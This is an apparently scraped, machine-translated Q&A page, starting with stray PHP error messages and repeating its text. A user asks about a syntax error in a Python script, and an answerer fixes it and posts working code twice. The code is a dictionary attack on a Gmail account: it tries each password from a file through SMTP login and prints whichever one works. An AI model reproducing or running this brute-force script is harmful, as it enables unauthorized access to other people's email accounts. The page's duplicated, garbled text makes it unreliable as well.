Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/svg/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
我一直在尝试编写的python代码中遇到一个无效的语法错误。错误出现在第15行“\n\n\n登录”之后_Python - Fatal编程技术网

我一直在尝试编写的python代码中遇到一个无效的语法错误。错误出现在第15行“\n\n\n登录”之后

我一直在尝试编写的python代码中遇到一个无效的语法错误。错误出现在第15行“\n\n\n登录”之后,python,Python,我一直在尝试编写的python代码中遇到一个无效语法错误。错误就在loggin之后的第15行 试试这个,因为看起来您的问题是Python版本的问题。看起来您正在尝试使用Python 3运行Python 2代码 #!/usr/bin import smtplib file_name=input("Enter name of your dictionary: ") username=input("Enter email id: ") with open(file_name,"r") as f:

我一直在尝试编写的python代码中遇到一个无效语法错误。错误就在loggin之后的第15行


试试这个,因为看起来您的问题是Python版本的问题。看起来您正在尝试使用Python 3运行Python 2代码

#!/usr/bin
import smtplib
file_name=input("Enter name of your dictionary: ")
username=input("Enter email id: ")
with open(file_name,"r") as f:
    for name in f:
        try:
            session = smtplib.SMTP('smtp.gmail.com',587)
            session.starttls()
            session.ehlo
            b = session.login(username,name[:-1])
        except smtplib.SMTPAuthenticationError:
            continue
        else:
            print("\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n")
            break
变化:

原始输入到输入。 添加了关于文件打开的语句。您没有结束通话。 在打印调用中添加了关于打印的参数。
在不知道您阅读的文件的预期内容/格式的情况下,我只能提供这些帮助。

您得到的确切错误是什么?请复制并粘贴到这里,然后按照您格式化代码的方式进行格式化。您使用的是Python 3吗?第1行是您的实际shebang吗?@Wooble:他一定在使用Python2,因为Pyth中没有原始输入on3.@unutbu:在抛出NameError之前检查语法。
#!/usr/bin
import smtplib
file_name=input("Enter name of your dictionary: ")
username=input("Enter email id: ")
with open(file_name,"r") as f:
    for name in f:
        try:
            session = smtplib.SMTP('smtp.gmail.com',587)
            session.starttls()
            session.ehlo
            b = session.login(username,name[:-1])
        except smtplib.SMTPAuthenticationError:
            continue
        else:
            print("\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n")
            break